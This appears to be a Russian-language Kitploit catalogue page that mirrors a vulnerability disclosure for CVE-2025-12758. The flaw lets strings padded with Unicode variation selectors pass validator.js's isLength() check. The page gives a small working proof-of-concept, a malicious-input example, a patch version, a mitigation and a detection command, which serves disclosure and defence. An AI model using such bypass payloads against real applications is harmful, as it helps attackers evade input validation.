Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12758 — Подробное раскрытие CVE-2025-12758 с PoC, демонстрирующим обход с помощью селектора вариантов Unicode в функции isLength() библиотеки validator.js, включая анализ первопричины, сценарии эксплуатации и шаги по устранению. | Kitploit
Инструменты/GitHubGitHub/open-flaw/cve-2025-12758
Анализ уязвимостейАнализ КодаВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Подробное раскрытие CVE-2025-12758 с PoC, демонстрирующим обход с помощью селектора вариантов Unicode в функции isLength() библиотеки validator.js, включая анализ первопричины, сценарии эксплуатации и шаги по устранению.

Репозиторий
8 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-12758: Обход Unicode Variation Selector в функции isLength() библиотеки Validator.js

CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Уровень опасности: HIGH
CWE: CWE-792 (Incomplete Filtering of One or More Instances of Special Elements)
Опубликован: November 26, 2025
Раскрыт: October 19, 2025

Обзор уязвимости

Эта уязвимость затрагивает пакет validator npm версий < 13.15.22. Функция isLength() не учитывает вариативные селекторы Юникода (\uFE0F, \uFE0E) при вычислении длины строки, что приводит к некорректной проверке входных данных.

Воздействие

Приложение, использующее isLength() для проверки входных данных, может принимать строки, значительно превышающие заданную длину, что потенциально может привести к:

  • Усечению данных в базах данных
  • Переполнению буфера в других компонентах системы
  • Атакам типа «отказ в обслуживании» (DoS)
  • Обходу проверки входных данных

Причина

Функция isLength() не фильтрует должным образом вариативные селекторы Юникода при вычислении длины строки. Эти специальные символы (комбинирующие метки) не должны влиять на визуальную длину строки, но учитываются в свойстве String.length в JavaScript.

Доказательство концепции

Установка

root@kitploit:~
npm install [email protected]
node poc.js

Код

root@kitploit:~
const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Вывод

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Сценарий эксплуатации

Приложение может реализовать проверку комментариев пользователей:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

Исправление

Обновление до версии 13.15.22 или выше

root@kitploit:~
npm install [email protected]

Исправленная версия корректно обрабатывает вариативные селекторы Юникода, исключая их из расчёта длины.

Альтернативное смягчение (временное)

Если вы не можете немедленно обновить версию, реализуйте собственную проверку длины:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Ссылки

  • База данных уязвимостей Snyk: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (оригинальное доказательство): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (исправление): https://github.com/validatorjs/validator.js/pull/2616
  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2025-12758

Обнаружение

Проверьте, уязвимо ли ваше приложение:

root@kitploit:~
npm audit --audit-level=high

Найдите пакет validator с версией < 13.15.22.

Автор

Уязвимость обнаружена: Karol Wrótniak

Лицензия

ISC

Скачать инструмент